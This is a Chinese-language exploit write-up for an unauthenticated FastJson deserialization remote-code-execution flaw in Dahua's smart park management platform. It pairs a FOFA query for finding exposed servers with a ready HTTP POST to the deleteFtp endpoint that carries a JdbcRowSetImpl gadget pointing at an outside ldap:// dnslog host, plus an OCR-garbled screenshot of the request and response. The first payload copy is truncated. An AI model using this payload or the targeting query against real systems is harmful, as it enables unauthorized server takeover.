# D2-13大华-智慧园区综合管理平台-RCE

## 漏洞描述:

大华智慧园区综合管理平台 /ipms/barpay/pay、deleteFtp、等接口存在FastJson反序列化漏洞,未授权的攻击者可利用此漏洞执行任意命令,获取服务器权限。

#### 网站图片:



# 网络测绘:

# fofa语法:

FOFA: app="dahua-智慧园区综合管理平台"

## 漏洞复现:

POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1

POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{"ftpUrl":{"e":{"etype":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"etype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog.cn","autoCo

```
效果图:
    Request
                                                                                                                          〈 〉 数据包扫描 点加载 构造请求 🐰
                                                                                                                                                                                                         Responses https 59bytes / 1920ms
                                                                                                                                                                                                                                                                                                           美化 请输入完价响应
                                                                                                                                                                                                                                                                                                                                                            Q
     1 POST-/CardSnlution/card/accessControl/swingCardRecord/deleteFtp-HTTP/1.1
2 Host : 1
3 User-Agent: Mozilia/s.v.tracintosh; Intel-Mac-OS-X-10_14_3) - AppleWebKit/605.1.15 - (KHTML, -like-Gecko) - Version/12.0.3 - Safari/605.1.15
4 Content-Type: application/json
Accept-Encoding: gzip
6 Connection: -close
                                                                                                                                                                                                                    HTTP/1.1-200-0K

Server: nginx
Date: Tue, '12-Dec-2023-07:29:45-GMT

Content-Type: application/json; charset=utf-8
Connection: close
Set-Cookie: 15ESSIONID=574A4F83F3F4EA7BE4990BCF4264EB99; Path=/CardSolution; HttpOnly
                                                                                                                                                                                                                      Cache-Control: no-cache, no-store, must-revalidate
                                                                                                                                                                                                                     Pragma: no-cache
Expires: Thu, -01-Jan:1970-00:00:00:GMT
Content-Length: -59
                {"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"c
sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://8gdyeeu0.dnslog.pw","autoCommit":true}}}
                                                                                                                                                                                                                     {"errMsg":"set-property-error, autoCommit", "success":false}
验证
```

